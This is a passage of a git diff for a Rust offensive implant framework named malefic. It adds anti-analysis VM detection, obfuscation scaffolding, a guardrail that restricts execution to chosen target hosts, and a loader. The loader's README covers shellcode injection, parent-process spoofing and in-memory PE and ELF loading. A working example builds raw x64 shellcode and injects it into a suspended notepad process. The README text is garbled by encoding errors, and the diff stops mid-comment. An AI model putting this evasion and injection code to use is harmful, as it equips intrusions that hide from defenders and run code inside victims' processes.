Identifies specific VM technologies via hypervisor vendor strings +//! 4. **Fallback Detection**: Uses CPU timing analysis only when CPUID detection fails +//! +//! ## Supported VM Frameworks +//! +//! - **VirtualBox**: Oracle VM VirtualBox (`VBoxVBoxVBox`) +//! - **VMware**: VMware Workstation/ESXi (`VMwareVMware`) +//! - **Hyper-V**: Microsoft Hyper-V (`Microsoft Hv`) +//! - **QEMU**: QEMU/KVM (`TCGTCGTCGTCG`) +//! - **Xen**: Citrix Xen hypervisor (`XenVMMXenVMM`) +//! - **Unknown**: Detected via timing analysis or unknown hypervisor + +use malefic_gateway::obfstr::obfstr; + +#[cfg(any(target_arch = "x86", target_arch = "x86_64"))] +use std::arch::x86_64::{CpuidResult, __cpuid, _rdtsc}; + +/// Enumeration of supported VM frameworks +#[derive(Debug, Clone, PartialEq, Eq)] +pub enum VmFramework { + VirtualBox, + VMware, + HyperV, + QEMU, + Xen, + Unknown, +} + +impl VmFramework { + pub fn name(&self) -> &'static str { + match self { + VmFramework::VirtualBox => "VirtualBox", + VmFramework::VMware => "VMware", + VmFramework::HyperV => "Hyper-V", + VmFramework::QEMU => "QEMU", + VmFramework::Xen => "Xen", + VmFramework::Unknown => "Unknown VM", + } + } +} + +/// Detailed VM detection result +#[derive(Debug, Clone)] +pub struct VmDetectionResult { + pub framework: Option, + pub detected_features: Vec, + pub is_vm: bool, +} + +impl VmDetectionResult { + pub fn new() -> Self { + Self { + framework: None, + detected_features: Vec::new(), + is_vm: false, + } + } + + pub fn detected(framework: VmFramework, features: Vec) -> Self { + Self { + framework: Some(framework), + detected_features: features, + is_vm: true, + } + } +} + +/// Get CPUID hypervisor vendor string - Most reliable VM detection method +/// +/// This function checks CPUID leaf 1 ECX bit 31 (hypervisor bit) +/// This bit is only set in a real VM environment +#[cfg(any(target_arch = "x86", target_arch = "x86_64"))] +fn get_hypervisor_vendor() -> Option { + unsafe { + let cpuid_1 = __cpuid(1); + // Check hypervisor bit (ECX bit 31) + if (cpuid_1.ecx & (1 << 31)) == 0 { + return None; // No hypervisor, definitely not a VM + } + + // Get hypervisor vendor string + let cpuid_result = __cpuid(0x40000000); + let vendor_bytes = [ + cpuid_result.ebx.to_le_bytes(), + cpuid_result.ecx.to_le_bytes(), + cpuid_result.edx.to_le_bytes(), + ] + .concat(); + + Some( + String::from_utf8_lossy(&vendor_bytes) + .trim_end_matches('\0') + .to_string(), + ) + } +} + +#[cfg(not(any(target_arch = "x86", target_arch = "x86_64")))] +fn get_hypervisor_vendor() -> Option { + None +} + +/// Perform CPU timing-based VM detection using the proven inside-vm algorithm +/// +/// This method measures CPUID instruction execution time, which is usually slower in VMs than on physical machines +#[cfg(any(target_arch = "x86", target_arch = "x86_64"))] +fn detect_vm_by_timing() -> Option> { + // Compute cpuid cpu cycles average + let mut tsc1: u64; + let mut tsc2: u64; + let mut cycles: Vec = vec![]; + let mut cpuid = CpuidResult { + eax: 0, + ebx: 0, + ecx: 0, + edx: 0, + }; + + // Perform measurements with outlier removal + let (low, samples, high) = (5, 100, 5); + for _ in 0..(low + samples + high) { + unsafe { + tsc1 = _rdtsc(); + cpuid = __cpuid(0); + tsc2 = _rdtsc(); + } + cycles.push(tsc2 - tsc1); + } + + unsafe { + // Prevent compiler optimization + std::ptr::read_volatile(&cpuid); + } + + // Remove outliers and compute average + cycles.sort_unstable(); + let cycles_without_outliers = &cycles[low..low + samples]; + let avg = cycles_without_outliers.iter().sum::() / std::cmp::max(samples as u64, 1); + + // VM detection threshold + if avg > 1000 { + Some(vec![format!( + "CPU timing anomaly detected: {} cycles (threshold: 1000)", + avg + )]) + } else { + None + } +} + +/// CPU timing detection fallback for non-x86 architectures +#[cfg(not(any(target_arch = "x86", target_arch = "x86_64")))] +fn detect_vm_by_timing() -> Option> { + None +} + +/// Strict VM detection: Only relies on CPUID hypervisor detection +/// +/// This is the most reliable method to avoid false positives on host machines. Only when the CPU +/// is truly running under a hypervisor will the CPUID instruction report the hypervisor's presence. +pub fn detect_vm_framework() -> VmDetectionResult { + // Step 1: Check if hypervisor exists (most reliable method) + if let Some(vendor) = get_hypervisor_vendor() { + let mut features = vec![format!("Hypervisor detected via CPUID: {}", vendor)]; + + // Step 2: Determine specific VM framework based on vendor string + if vendor.contains("VBoxVBoxVBox") { + features.push(obfstr!("VirtualBox hypervisor signature").to_string()); + return VmDetectionResult::detected(VmFramework::VirtualBox, features); + } else if vendor.contains("VMwareVMware") { + features.push(obfstr!("VMware hypervisor signature").to_string()); + return VmDetectionResult::detected(VmFramework::VMware, features); + } else if vendor.contains("Microsoft Hv") { + features.push(obfstr!("Hyper-V hypervisor signature").to_string()); + return VmDetectionResult::detected(VmFramework::HyperV, features); + } else if vendor.contains("TCGTCGTCGTCG") { + features.push(obfstr!("QEMU hypervisor signature").to_string()); + return VmDetectionResult::detected(VmFramework::QEMU, features); + } else if vendor.contains("XenVMMXenVMM") { + features.push(obfstr!("Xen hypervisor signature").to_string()); + return VmDetectionResult::detected(VmFramework::Xen, features); + } else { + // Detected hypervisor but not a known framework + features.push(format!("Unknown hypervisor: {}", vendor)); + return VmDetectionResult::detected(VmFramework::Unknown, features); + } + } + + // Step 3: If no hypervisor detected, try CPU timing detection as last resort + #[cfg(any(target_arch = "x86", target_arch = "x86_64"))] + { + if let Some(timing_features) = detect_vm_by_timing() { + return VmDetectionResult::detected(VmFramework::Unknown, timing_features); + } + } + + // Step 4: No VM features detected + VmDetectionResult::new() +} + +/// Simple check if running in any VM environment +pub fn is_vm_environment() -> bool { + detect_vm_framework().is_vm +} + +/// Get the specific VM framework name if detected +pub fn get_vm_framework_name() -> Option { + let result = detect_vm_framework(); + result.framework.map(|f| f.name().to_string()) +} + +/// Get detailed VM detection information +pub fn get_vm_detection_details() -> VmDetectionResult { + detect_vm_framework() +} + +/// Legacy compatibility function - returns true if running in VM +pub fn is_running_in_vm() -> bool { + is_vm_environment() +} + +/// Legacy compatibility function - returns detected VM type +pub fn get_detected_vm_type() -> Option { + get_vm_framework_name() +} diff --git a/malefic-crates/features/Cargo.toml b/malefic-crates/features/Cargo.toml new file mode 100644 index 0000000..9194609 --- /dev/null +++ b/malefic-crates/features/Cargo.toml @@ -0,0 +1,36 @@ +[package] +name = "malefic-features" +version = "0.1.0" +edition = "2021" +description = "Unified feature hub for build-type, version, and runtime propagation" + +[features] +default = ["prebuild", "community", "runtime_tokio"] + +# Build type +source = [ + "malefic-os-win/source", + "malefic-gateway/source", +] +prebuild = [ + "malefic-os-win/prebuild", + "malefic-gateway/prebuild", +] + +# Version +community = [ + "malefic-os-win/community", + "malefic-gateway/community", +] + +# Runtime (exactly one should be enabled) +runtime_tokio = ["malefic-common/tokio"] +runtime_smol = ["malefic-common/smol"] +runtime_asyncstd = ["malefic-common/async-std"] + +[dependencies] +malefic-gateway = { workspace = true } +malefic-common = { workspace = true, default-features = false } + +[target.'cfg(target_os = "windows")'.dependencies] +malefic-os-win = { workspace = true, default-features = false } diff --git a/malefic-crates/features/src/lib.rs b/malefic-crates/features/src/lib.rs new file mode 100644 index 0000000..8b23139 --- /dev/null +++ b/malefic-crates/features/src/lib.rs @@ -0,0 +1,3 @@ +// malefic-features: Unified feature hub (Community Edition). +// This crate has no code — it exists solely to centralize +// source/prebuild/community/runtime feature propagation. diff --git a/malefic-crates/gateway/Cargo.toml b/malefic-crates/gateway/Cargo.toml new file mode 100644 index 0000000..f0930fc --- /dev/null +++ b/malefic-crates/gateway/Cargo.toml @@ -0,0 +1,18 @@ +[package] +name = "malefic-gateway" +version = "0.1.0" +edition = "2021" + +[features] +default = [] + +# Build type (unified declaration — os-* crates handle actual implementation) +source = [] +prebuild = [] + +# Version +community = [] + +[dependencies] +malefic-macro = { path = "../macro", default-features = false } +nanorand = { workspace = true } diff --git a/malefic-crates/gateway/src/lib.rs b/malefic-crates/gateway/src/lib.rs new file mode 100644 index 0000000..02951ca --- /dev/null +++ b/malefic-crates/gateway/src/lib.rs @@ -0,0 +1,34 @@ +// malefic-gateway: Unified public API for the malefic framework (Community Edition). +// +// All downstream crates should depend on this crate instead of malefic-macro directly. +// Community mode provides stub implementations for obfuscation APIs. + +// --- Community mode: stub implementations --- +pub mod runtime; +pub mod traits; +pub mod secure {} + +// Re-export nanorand for generated code paths (always available) +pub use nanorand; + +/// Backward-compatible macro namespace: +/// `malefic_gateway::obfstr::obfstr!("...")` +pub mod obfstr { + pub use malefic_macro::obfstr; +} + +// Re-export all proc macros (directly from malefic-macro to avoid namespace conflicts) +pub use malefic_macro::flow; +pub use malefic_macro::include_encrypted; +pub use malefic_macro::junk; +pub use malefic_macro::lazy_static; +pub use malefic_macro::module_impl; +pub use malefic_macro::obf_bytes; +pub use malefic_macro::obf_int; +pub use malefic_macro::obf_stmts; +pub use malefic_macro::obf_string; +pub use malefic_macro::obfstr; +pub use malefic_macro::obfuscate; +pub use malefic_macro::ObfDebug; +pub use malefic_macro::Obfuscate; +pub use malefic_macro::ObfuscateBox; diff --git a/malefic-crates/gateway/src/runtime.rs b/malefic-crates/gateway/src/runtime.rs new file mode 100644 index 0000000..ebaa461 --- /dev/null +++ b/malefic-crates/gateway/src/runtime.rs @@ -0,0 +1,47 @@ +// Community stub runtime. +// +// These functions match the public API of `malefic-obfuscate::runtime`. +// In community mode, proc macros expand to no-op (no encryption), so these +// are never called at runtime. They exist only to satisfy the type system. + +pub fn aes_decrypt_string( + _ciphertext: &[u8], + _masked_key: &[u8; 32], + _key_mask: &[u8; 32], + _masked_iv: &[u8; 16], + _iv_mask: &[u8; 16], +) -> String { + unimplemented!("requires pro feature") +} + +pub fn aes_decrypt_bytes( + _ciphertext: &[u8], + _masked_key: &[u8; 32], + _key_mask: &[u8; 32], + _masked_iv: &[u8; 16], + _iv_mask: &[u8; 16], +) -> Vec { + unimplemented!("requires pro feature") +} + +pub fn xor_decrypt_bytes(_ciphertext: &[u8], _masked_key: &[u8], _key_mask: &[u8]) -> Vec { + unimplemented!("requires pro feature") +} + +pub fn aes_encrypt_field(_plaintext: &[u8], _key: &[u8; 32], _iv: &[u8; 16]) -> Vec { + unimplemented!("requires pro feature") +} + +pub fn aes_decrypt_field(_ciphertext: &[u8], _key: &[u8; 32], _iv: &[u8; 16]) -> Vec { + unimplemented!("requires pro feature") +} + +pub fn random_iv() -> [u8; 16] { + [0u8; 16] +} + +pub fn zeroize_string(_s: &mut String) {} + +pub fn zeroize_vec(_v: &mut Vec) {} + +pub fn zeroize_num(_val: &mut T) {} diff --git a/malefic-crates/gateway/src/traits.rs b/malefic-crates/gateway/src/traits.rs new file mode 100644 index 0000000..93ae315 --- /dev/null +++ b/malefic-crates/gateway/src/traits.rs @@ -0,0 +1,19 @@ +/// Trait for types that can be obfuscated at the field level. +/// Implemented automatically by `#[derive(ObfuscateBox)]`. +pub trait ObfuscatedField { + /// Encrypt a value into its obfuscated representation. + fn obfuscate(value: T) -> Self; + /// Decrypt the obfuscated representation back to the original value. + fn deobfuscate(&self) -> T; +} + +/// Trait for structs whose fields can be XOR-toggled in-place for memory obfuscation. +/// +/// # Safety +/// After toggle, struct fields contain invalid data (String is not valid UTF-8, etc.). +/// Must use `Encrusted` wrapper to ensure fields are not accessed while toggled. +pub unsafe trait Obfuscatable { + /// XOR-toggle all fields in-place using the provided PRNG for key stream. + /// Calling twice with the same seed restores original values. + unsafe fn toggle_obfuscate(&mut self, rng: &mut nanorand::WyRand); +} diff --git a/malefic-crates/guardrail/Cargo.toml b/malefic-crates/guardrail/Cargo.toml new file mode 100644 index 0000000..cc5f732 --- /dev/null +++ b/malefic-crates/guardrail/Cargo.toml @@ -0,0 +1,9 @@ +[package] +name = "malefic-guardrail" +version = "0.1.0" +edition = "2021" + +[dependencies] +malefic-sysinfo = { workspace = true } +malefic-config = { workspace = true } +regex = { workspace = true } diff --git a/malefic-crates/guardrail/README.md b/malefic-crates/guardrail/README.md new file mode 100644 index 0000000..3ca3716 --- /dev/null +++ b/malefic-crates/guardrail/README.md @@ -0,0 +1,70 @@ +# malefic-guardrail + +è¿è¡Œå‰çŽ¯å¢ƒéªŒè¯ä¸Žä¸»æœºæŒ‡çº¹æ£€æŸ¥ï¼Œç¡®ä¿ç¨‹åºä»…在符åˆé¢„期的目标主机上执行。 + +## 功能简介 + +- 基于主机指纹进行环境校验,ä¸åŒ¹é…æ—¶ç«‹å³ç»ˆæ­¢è¿›ç¨‹ +- 支æŒå››ç±»æ ¡éªŒç»´åº¦ï¼šIP 地å€ã€ç”¨æˆ·åã€ä¸»æœºåã€åŸŸå +- 支æŒé€šé…符模å¼åŒ¹é…(`*` 匹é…ä»»æ„字符åºåˆ—) +- æ”¯æŒ `require_all` 严格模å¼ï¼ˆå…¨éƒ¨ç»´åº¦å¿…é¡»é€šè¿‡ï¼‰ä¸Žå®½æ¾æ¨¡å¼ï¼ˆä»»ä¸€ç»´åº¦é€šè¿‡å³å¯ï¼‰ +- 所有校验规则为空时自动跳过检查 + +## 校验维度 + +| 维度 | é…置字段 | 说明 | +|------|----------|------| +| IP åœ°å€ | `ip_addresses` | æ ¡éªŒä¸»æœºç½‘ç»œæŽ¥å£ IP 是å¦åŒ¹é… | +| 用户å | `usernames` | æ ¡éªŒå½“å‰æ“ä½œç³»ç»Ÿç”¨æˆ·åæ˜¯å¦åŒ¹é… | +| 主机å | `server_names` | 校验主机 hostname 是å¦åŒ¹é… | +| 域å | `domains` | æ ¡éªŒä¸»æœºæ‰€å±žåŸŸåæ˜¯å¦åŒ¹é… | + +## 匹é…规则 + +- 空字符串 `""` —— 仅匹é…空值 +- `"*"` —— 匹é…ä»»æ„值 +- ä¸å« `*` 的字符串 —— ç²¾ç¡®åŒ¹é… +- å« `*` 的字符串 —— 通é…符匹é…,`*` 转æ¢ä¸ºæ­£åˆ™ `.*` + +## 执行逻辑 + +æ¯ä¸ªç»´åº¦ç‹¬ç«‹è®¡åˆ†ï¼ˆåŒ¹é…å¾— 1 分,满分 4 分): + +- **`require_all = true`**:四个维度全部通过(4 åˆ†ï¼‰æ‰æ”¾è¡Œ +- **`require_all = false`**:任一维度通过(>0 åˆ†ï¼‰å³æ”¾è¡Œ +- **校验失败**:调用 `std::process::exit(1)` 终止进程 + +è‹¥æŸä¸ªç»´åº¦çš„é…置列表为空,则该维度自动视为通过。 + +## 基本用法 + +```rust +use malefic_guardrail::Guardrail; +use malefic_sysinfo::SysInfo; + +// 采集当å‰ä¸»æœºä¿¡æ¯ +let sysinfo = SysInfo::collect(); + +// 执行环境校验,ä¸é€šè¿‡åˆ™è¿›ç¨‹é€€å‡º +Guardrail::check(sysinfo); +``` + +## é…置示例 + +```yaml +guardrail: + ip_addresses: + - "192.168.1.*" + - "10.0.0.100" + usernames: + - "admin" + server_names: + - "WORKSTATION-*" + domains: + - "corp.example.com" + require_all: true +``` + +## å‚考链接 + +- [regex crate](https://docs.rs/regex/latest/regex/) - Rust 正则表达å¼åº“ diff --git a/malefic-crates/guardrail/src/lib.rs b/malefic-crates/guardrail/src/lib.rs new file mode 100644 index 0000000..5759425 --- /dev/null +++ b/malefic-crates/guardrail/src/lib.rs @@ -0,0 +1,83 @@ +use malefic_sysinfo::SysInfo; +use regex::Regex; + +pub struct Guardrail; + +impl Guardrail { + pub fn check(sysinfo: SysInfo) { + let config = &malefic_config::GUARDRAIL_CONFIG; + + if config.ip_addresses.is_empty() + && config.usernames.is_empty() + && config.server_names.is_empty() + && config.domains.is_empty() + { + return; + } + + let mut score = 0; + + fn check_patterns<'a, I>(patterns: &[String], values: I) -> bool + where + I: IntoIterator, + { + if patterns.is_empty() { + return true; + } + values + .into_iter() + .any(|val| patterns.iter().any(|p| Guardrail::matches_pattern(val, p))) + } + + // IP + if check_patterns( + &config.ip_addresses, + sysinfo.ip_addresses.iter().map(|s| s.as_str()), + ) { + score += 1; + } + + // Username + if let Some(os) = &sysinfo.os { + if check_patterns(&config.usernames, std::iter::once(os.username.as_str())) { + score += 1; + } + if check_patterns(&config.server_names, std::iter::once(os.hostname.as_str())) { + score += 1; + } + } else { + if config.usernames.is_empty() { + score += 1; + } + if config.server_names.is_empty() { + score += 1; + } + } + + if check_patterns( + &config.domains, + std::iter::once(sysinfo.domain_name.as_str()), + ) { + score += 1; + } + + let pass = (score == 4 && config.require_all) || (score > 0 && !config.require_all); + if !pass { + std::process::exit(1); + } + } + + fn matches_pattern(text: &str, pattern: &str) -> bool { + match pattern { + "" => text.is_empty(), + "*" => true, + _ if !pattern.contains('*') => text == pattern, + _ => { + let regex_pattern = regex::escape(pattern).replace("\\*", ".*"); + Regex::new(®ex_pattern) + .map(|re| re.is_match(text)) + .unwrap_or(false) + } + } + } +} diff --git a/malefic-crates/loader/Cargo.toml b/malefic-crates/loader/Cargo.toml new file mode 100644 index 0000000..be2dc87 --- /dev/null +++ b/malefic-crates/loader/Cargo.toml @@ -0,0 +1,33 @@ +[package] +name = "malefic-loader" +version = "0.1.0" +edition = "2021" + +[features] +default = ["Win_Inject_APC"] +Win_Inject_APC = [] +Win_Inject_Fiber = [] +Win_Inject_Thread = [] + +[dependencies] +anyhow = { workspace = true } +malefic-gateway = { workspace = true } +malefic-common = { workspace = true } +malefic-features = { path = "../features" } + +[target.'cfg(target_os = "windows")'.dependencies] +malefic-os-win = { workspace = true } +windows = { workspace = true, features = [ + "Win32_Foundation", + "Win32_System_Threading", + "Win32_System_Memory", + "Win32_System_LibraryLoader", + "Win32_System_Diagnostics_Debug", +] } + +[target.'cfg(unix)'.dependencies] +libc = { workspace = true } +nix = { workspace = true } + +[build-dependencies] +bindgen = { workspace = true } diff --git a/malefic-crates/loader/README.md b/malefic-crates/loader/README.md new file mode 100644 index 0000000..75e0fa0 --- /dev/null +++ b/malefic-crates/loader/README.md @@ -0,0 +1,97 @@ +# malefic-loader + +跨平å°è¿è¡Œæ—¶ä»£ç æ³¨å…¥ä¸Ž shellcode 执行框架。 + +## 功能简介 + +- **Shellcode 注入执行**:支æŒå¤šç§æ³¨å…¥æŠ€æœ¯ï¼Œé€šè¿‡ feature åˆ‡æ¢æ³¨å…¥æ–¹å¼ +- **内存管ç†**:æä¾› `MaleficChunk` å†…å­˜å—æŠ½è±¡ï¼Œç»Ÿä¸€åˆ†é…ã€æƒé™è®¾ç½®ä¸Žé‡Šæ”¾æ“作 +- **热加载模å—**:è¿è¡Œæ—¶åЍæ€åŠ è½½ PE/DLL 模å—å¹¶è§£æžå¯¼å‡ºå‡½æ•° +- **è·¨å¹³å°æ”¯æŒ**:Windows 与 Linux å„自æä¾›å¹³å°åŽŸç”Ÿæ³¨å…¥å®žçŽ° + +## 平尿”¯æŒ + +### Windows + +| æ³¨å…¥æ–¹å¼ | 说明 | +|----------|------| +| APC (默认) | 基于 APC 队列的 shellcode æ³¨å…¥ï¼Œæ”¯æŒ inline 与 sacrifice è¿›ç¨‹ä¸¤ç§æ¨¡å¼ | +| Fiber | 基于纤程 (Fiber) çš„ shellcode 执行(已弃用) | +| Thread | 基于 CreateThread çš„ shellcode 执行(已弃用) | + +APC 模å¼ä¸‹æ”¯æŒçˆ¶è¿›ç¨‹æ¬ºéª— (`ppid`)ã€DLL 阻断 (`block_dll`)ã€è¾“出æ•获等高级选项。 + +### Linux + +| æ³¨å…¥æ–¹å¼ | 说明 | +|----------|------| +| memfd (默认) | 通过 `memfd_create` + `fexecve` 在内存中执行 ELF | +| pthread | 通过 `pthread_create` 执行 shellcode | +| spawn | 通过 `std::thread::spawn` 执行 shellcode | + +## Features + +| Feature | 说明 | +|---------|------| +| `source` | æºç ç¼–译模å¼ï¼ˆé»˜è®¤å¯ç”¨ï¼‰ | +| `prebuild` | é¢„ç¼–è¯‘æ¨¡å¼ | +| `Win_Inject_APC` | Windows APC 注入(默认å¯ç”¨ï¼‰ | +| `Win_Inject_Fiber` | Windows Fiber 注入(已弃用) | +| `Win_Inject_Thread` | Windows Thread 注入(已弃用) | + +## 基本用法 + +### Shellcode 执行 (Windows APC) + +```rust +use malefic_loader::win::loader; + +unsafe { + let shellcode: Vec = vec![/* shellcode bytes */]; + let result = loader( + shellcode, + false, // is_need_sacrifice + std::ptr::null_mut(), // sacrifice_commandline + 0, // ppid + false, // block_dll + true, // need_output + 1, // loader_type: 1=InlineRX, 2=InlineRWX + ); +} +``` + +### 内存中执行 ELF (Linux memfd) + +```rust +use malefic_loader::linux::loader; + +unsafe { + let elf_bytes: Vec = std::fs::read("target_elf").unwrap(); + let output = loader(elf_bytes, true); +} +``` + +### 热加载 PE æ¨¡å— (Windows) + +```rust +use malefic_loader::hot_modules::{load_module, get_function_address}; + +unsafe { + let dll_bytes: Vec = std::fs::read("module.dll").unwrap(); + let module = load_module(dll_bytes, "module_name".to_string()).unwrap(); + let func = get_function_address(module, "exported_func"); +} +``` + +### å†…å­˜ç®¡ç† + +```rust +use malefic_loader::memory::{MaleficMemManager, malloc_and_set_memory}; + +let mut mgr = MaleficMemManager::default(); +unsafe { + let id = mgr.alloc(4096).unwrap(); + // 使用内存... + mgr.remove(id).unwrap(); +} +``` diff --git a/malefic-crates/loader/examples/test_inject.rs b/malefic-crates/loader/examples/test_inject.rs new file mode 100644 index 0000000..d7afe9b --- /dev/null +++ b/malefic-crates/loader/examples/test_inject.rs @@ -0,0 +1,189 @@ +//! Inject verification: injects shellcode that creates a file into a target process. +//! Run with: cargo run --example test_inject --features "Inject,source" +//! Requires administrator privileges. + +#[cfg(target_os = "windows")] +fn main() { + use windows::core::{PCSTR, PWSTR}; + use windows::Win32::Foundation::CloseHandle; + use windows::Win32::System::LibraryLoader::{GetModuleHandleA, GetProcAddress}; + use windows::Win32::System::Threading::{ + CreateProcessW, TerminateProcess, CREATE_NO_WINDOW, CREATE_SUSPENDED, PROCESS_INFORMATION, + STARTUPINFOW, + }; + + const TEST_FILE: &str = "C:\\temp\\inject_test.txt"; + const TEST_CONTENT: &[u8] = b"inject ok"; + + // Ensure target directory exists + let _ = std::fs::create_dir_all("C:\\temp"); + let _ = std::fs::remove_file(TEST_FILE); + + // Resolve kernel32 API addresses + let kernel32 = unsafe { GetModuleHandleA(PCSTR(b"kernel32.dll\0".as_ptr())).unwrap() }; + let addr_create = + unsafe { GetProcAddress(kernel32, PCSTR(b"CreateFileA\0".as_ptr())).unwrap() as u64 }; + let addr_write = + unsafe { GetProcAddress(kernel32, PCSTR(b"WriteFile\0".as_ptr())).unwrap() as u64 }; + let addr_close = + unsafe { GetProcAddress(kernel32, PCSTR(b"CloseHandle\0".as_ptr())).unwrap() as u64 }; + + println!("CreateFileA @ 0x{:016x}", addr_create); + println!("WriteFile @ 0x{:016x}", addr_write); + println!("CloseHandle @ 0x{:016x}", addr_close); + + // Build shellcode + let shellcode = build_shellcode( + addr_create, + addr_write, + addr_close, + TEST_FILE.as_bytes(), + TEST_CONTENT, + ); + println!("shellcode size: {} bytes", shellcode.len()); + + // Spawn suspended notepad as target + let mut si: STARTUPINFOW = unsafe { std::mem::zeroed() }; + si.cb = std::mem::size_of::() as u32; + let mut pi: PROCESS_INFORMATION = unsafe { std::mem::zeroed() }; + let mut cmd: Vec = "notepad.exe\0".encode_utf16().collect(); + + let ok = unsafe { + CreateProcessW( + None, + PWSTR(cmd.as_mut_ptr()), + None, + None, + false, + CREATE_SUSPENDED | CREATE_NO_WINDOW, + None, + None, + &si, + &mut pi, + ) + }; + if ok.is_err() { + eprintln!("CreateProcess failed"); + return; + } + let pid = pi.dwProcessId; + println!("target pid: {}", pid); + + // Inject + match malefic_os_win::kit::inject::remote_inject(&shellcode, pid) { + Ok(msg) => println!("inject result: {}", msg), + Err(e) => { + eprintln!("inject failed: {}", e); + unsafe { + TerminateProcess(pi.hProcess, 1).ok(); + } + return; + } + } + + // Resume the main thread so the process stays alive while our thread runs + unsafe { + windows::Win32::System::Threading::ResumeThread(pi.hThread); + } + + // Wait for shellcode to execute + std::thread::sleep(std::time::Duration::from_secs(2)); + + // Verify + if std::path::Path::new(TEST_FILE).exists() { + let content = std::fs::read_to_string(TEST_FILE).unwrap_or_default(); + println!("PASS - file created, content: \"{}\"", content); + } else { + println!("FAIL - file not created"); + } + + // Cleanup + unsafe { + TerminateProcess(pi.hProcess, 0).ok(); + CloseHandle(pi.hProcess).ok(); + CloseHandle(pi.hThread).ok(); + } + let _ = std::fs::remove_file(TEST_FILE); +} + +/// Build x64 shellcode: CreateFileA -> WriteFile -> CloseHandle +fn build_shellcode( + create_file: u64, + write_file: u64, + close_handle: u64, + filename: &[u8], + content: &[u8], +) -> Vec { + let mut sc = Vec::with_capacity(256); + + // Offsets (pre-calculated from fixed code layout): + // code ends at 0x84, filename at 0x84, content at 0x84+filename.len()+1 + let filename_with_nul = filename.len() + 1; // +1 for \0 + let content_start = 0x84u32 + filename_with_nul as u32; + + // lea rcx [rip+off] at 0x05, next_ip=0x0C => off = 0x84 - 0x0C + let fname_off: u32 = 0x84 - 0x0C; + // je done at 0x40, next_ip=0x42, done=0x7E => off = 0x7E - 0x42 + let je_off: u8 = 0x7E - 0x42; + // lea rdx [rip+off] at 0x48, next_ip=0x4F => off = content_start - 0x4F + let content_off: u32 = content_start - 0x4F; + + // -- Code section -- + sc.push(0x53); // push rbx + sc.extend_from_slice(&[0x48, 0x83, 0xEC, 0x60]); // sub rsp, 0x60 + + // CreateFileA(filename, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL) + sc.extend_from_slice(&[0x48, 0x8D, 0x0D]); // lea rcx, [rip+off] + sc.extend_from_slice(&fname_off.to_le_bytes()); + sc.extend_from_slice(&[0xBA, 0x00, 0x00, 0x00, 0x40]); // mov edx, 0x40000000 + sc.extend_from_slice(&[0x45, 0x33, 0xC0]); // xor r8d, r8d + sc.extend_from_slice(&[0x45, 0x33, 0xC9]); // xor r9d, r9d + sc.extend_from_slice(&[0xC7, 0x44, 0x24, 0x20, 0x02, 0x00, 0x00, 0x00]); // mov [rsp+0x20], 2 + sc.extend_from_slice(&[0xC7, 0x44, 0x24, 0x28, 0x80, 0x00, 0x00, 0x00]); // mov [rsp+0x28], 0x80 + sc.extend_from_slice(&[0x48, 0xC7, 0x44, 0x24, 0x30, 0x00, 0x00, 0x00, 0x00]); // mov qword [rsp+0x30], 0 + sc.extend_from_slice(&[0x48, 0xB8]); // movabs rax, + sc.extend_from_slice(&create_file.to_le_bytes()); + sc.extend_from_slice(&[0xFF, 0xD0]); // call rax + + sc.extend_from_slice(&[0x48, 0x83, 0xF8, 0xFF]); // cmp rax, -1 + sc.extend_from_slice(&[0x74, je_off]); // je done + + sc.extend_from_slice(&[0x48, 0x89, 0xC3]); // mov rbx, rax + + // WriteFile(handle, content, len, &written, NULL) + sc.extend_from_slice(&[0x48, 0x89, 0xD9]); // mov rcx, rbx + sc.extend_from_slice(&[0x48, 0x8D, 0x15]); // lea rdx, [rip+off] + sc.extend_from_slice(&content_off.to_le_bytes()); + sc.extend_from_slice(&[0x41, 0xB8]); // mov r8d, + sc.extend_from_slice(&(content.len() as u32).to_le_bytes()); + sc.extend_from_slice(&[0x4C, 0x8D, 0x4C, 0x24, 0x40]); // lea r9, [rsp+0x40] + sc.extend_from_slice(&[0x48, 0xC7, 0x44, 0x24, 0x20, 0x00, 0x00, 0x00, 0x00]); // mov qword [rsp+0x20], 0 + sc.extend_from_slice(&[0x48, 0xB8]); // movabs rax, + sc.extend_from_slice(&write_file.to_le_bytes()); + sc.extend_from_slice(&[0xFF, 0xD0]); // call rax + + // CloseHandle(handle) + sc.extend_from_slice(&[0x48, 0x89, 0xD9]); // mov rcx, rbx + sc.extend_from_slice(&[0x48, 0xB8]); // movabs rax, + sc.extend_from_slice(&close_handle.to_le_bytes()); + sc.extend_from_slice(&[0xFF, 0xD0]); // call rax + + // done: + sc.extend_from_slice(&[0x48, 0x83, 0xC4, 0x60]); // add rsp, 0x60 + sc.push(0x5B); // pop rbx + sc.push(0xC3); // ret + + assert_eq!(sc.len(), 0x84, "code section size mismatch"); + + // -- Data section -- + sc.extend_from_slice(filename); + sc.push(0x00); // null terminator + sc.extend_from_slice(content); + + sc +} + +#[cfg(not(target_os = "windows"))] +fn main() { + eprintln!("This test only runs on Windows"); +} diff --git a/malefic-crates/loader/src/hot_modules.rs b/malefic-crates/loader/src/hot_modules.rs new file mode 100644 index 0000000..7081e7e --- /dev/null +++ b/malefic-crates/loader/src/hot_modules.rs @@ -0,0 +1,121 @@ +#[cfg(target_os = "windows")] +pub use malefic_os_win::types::DllMain; + +// All kit-dependent functions are grouped here. +#[cfg(target_os = "windows")] +mod kit_ops { + use core::{ffi::c_void, ptr::null_mut}; + use malefic_common::errors::CommonError::{self, ArgsError}; + use malefic_gateway::obfstr; + + pub unsafe fn get_function_address( + module_base: *const c_void, + function_name: &str, + ) -> *const c_void { + malefic_os_win::kit::apis::m_get_func_addr_with_module_base( + module_base, + function_name.as_bytes(), + ) + } + + pub unsafe fn load_module(bins: Vec, bundle: String) -> Result<*const c_void, CommonError> { + use malefic_os_win::kit::MaleficModule; + + if bins.is_empty() || bundle.is_empty() { + return Err(ArgsError(obfstr!("bins or bundle is empty :)").to_string())); + } + malefic_common::debug!("[+] load module {}, len: {}", bundle, bins.len()); + + let dark_module = malefic_os_win::kit::pe::load_pe(bins, None, None); + if dark_module.is_null() { + return Err(ArgsError("dark module load failed!".to_string())); + } + let module = dark_module as *const MaleficModule; + let module_base = (*module).new_module; + let entry_point = (*module).entry_point; + if module_base.is_null() || entry_point.is_null() { + return Err(ArgsError( + "dark module module base / entry point is null!".to_string(), + )); + } + let _ = core::mem::transmute::(entry_point as usize)( + module_base as _, + 1, + null_mut(), + ); + Ok(dark_module) + } + + pub unsafe fn unload_pe(module: *const c_void) { + if module.is_null() { + return; + } + malefic_os_win::kit::pe::unload_pe(module as _); + } + + /// Unload a 